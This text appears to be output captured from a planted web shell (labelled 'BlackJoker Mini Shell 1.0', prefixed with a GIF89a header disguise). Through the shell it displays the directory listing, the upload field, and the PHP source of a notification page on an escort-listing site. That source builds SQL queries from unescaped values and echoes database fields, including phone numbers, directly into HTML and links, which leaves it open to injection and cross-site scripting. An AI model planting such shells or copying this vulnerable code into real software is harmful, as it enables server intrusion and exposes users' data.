GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/hobbyist-nitification.php

<?  session_start();
 if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	$page="my_account";
?>


<? include "includes/header_top.php";?>
<script type="text/javascript">
   function showimagepreview(input) {
  if (input.files && input.files[0]) {
  var filerdr = new FileReader();
  filerdr.onload = function(e) {
  $('#imgprvw').attr('src', e.target.result);
  }
   filerdr.readAsDataURL(input.files[0]);
  }
  }
 </script>
				

<body>
 <? include "includes/header.php";?>

	<div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/My Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                    	
                        <div class="left_containmain"> 
                        <?
						 $sql_email="SELECT * FROM user_info WHERE userid='".$_SESSION['userid']."'";
						 $res_email=execute_query($sql_email);
						 $row_email=mysql_fetch_array($res_email);
						?>
                        	<div style=" width:980px; margin:0 auto; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          	<table border="0" cellpadding="0" cellspacing="0">
                            	<tr>
                                	<td class="updatehdrstyle23"><a href="hobbyist-account.php"><img src="images/edit_profile.png" style="vertical-align:middle;" /><br/>My Profile</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                   
                                     <td class="updatehdrstyle23"><a href="hobbyist-nitification.php"><img src="images/notification.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Notification</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/my_reviews.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Reviews</td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="hobbyiest-followescorts.php"><img src="images/follower.png" style="width:55px; height:55px; vertical-align:middle;" /><br/>Follow Escorts</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    
                                    
                                    <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="hobbyist-password.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="remove-hobbyistaccount.php"><img src="images/removeacc.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Remove Account</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                    
                                
                                </tr>
                                <tr height="8"></tr>
                               
                            	
                            </table>
            						
						
                        	</div>
                        
                        	
                           <br/>
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		<form action="hobbyistprofile-update.php" method="post" name="f1" style="margin: 0px; padding: 0px;" enctype="multipart/form-data" onSubmit="return validate();">
                                 <input name="submit_form" value="1" type="hidden">
                                <div class="postadpagebody">                                
                                	<h1>Notification</h1>
                                    <div class="srv_notification">
                                    	<br/>
                                        <?
											$sql_noti="SELECT * FROM notification WHERE follower_id='".$_SESSION['userid']."' AND status='u'";
											$res_noti=execute_query($sql_noti);
											$num_noti=mysql_num_rows($res_noti);
											if($num_noti>0)
											{
										?>
                                         <table border="0" cellpadding="0" cellspacing="0" style="width:100%;">
                                            <tr style="background:#666666; border-radius:3px 3px 0 0; height:36px;">
                                                <td width="162" class="updatehdrstyle" >Name</td>
                                                <td width="162" class="updatehdrstyle">City</td>                                            
                                                <td width="162" class="updatehdrstyle">Update Type</td>
                                                <td width="162" class="updatehdrstyle">Date</td>
                                                <td width="162" class="updatehdrstyle">View</td>
                                                
                                            </tr>
                                          </table>
                                          <div style=" width:800px;">
                                          	<table border="0" cellpadding="0" cellspacing="0">
											<?
                                                while($row=mysql_fetch_array($res_noti))
                                                {
                                                     $sql_userinfo="SELECT * FROM escort_details WHERE id='".$row['postid']."'";
                                                     $res_userinfo=execute_query($sql_userinfo);
                                                     $row_userinfo=mysql_fetch_array($res_userinfo);									
                                                                                                          
                                                      $updatedate=explode('-',$row['up_date']);
                                                    
                                                    ?>
                                                
                                                <tr height="5"></tr>
                                                <tr>
                                                    <td width="162" class="updatehdrstyle22"><?=$row_userinfo['nickname']?></td>
                                                    <td width="162" class="updatehdrstyle22"><?=$row_userinfo['escort_city']?></td>
                                                    <td width="162" class="updatehdrstyle22"><?=$row['update_type']?></td>
                                                    <td width="162" class="updatehdrstyle22"><? echo $updatedate[1].'/'.$updatedate[2].'/'.$updatedate[0] ?></td>
                                                    <td width="162" class="updatehdrstyle22"><a href="viewescort-details.php?name=<?=$row_userinfo['nickname']?>&phone=<?=$row_userinfo['tel_national']?>&noti=<?=$row['id']?>">View</a></td>
                                                </tr>
                                                    
                                            <?	}
                                             
                                            ?>
                                            
                                        </table>
                                          	
                                          </div>
                                          <? } 
										  else
										     {?>
                                             	<p class="passwordmsg">You dont have any notification</p>
                                             
                                             <? } ?>
                                     <br/><br/>
                                     
                                    </div>
                                    
                                </div>
                                <br class="spacer" />
                               </form>
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>


<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0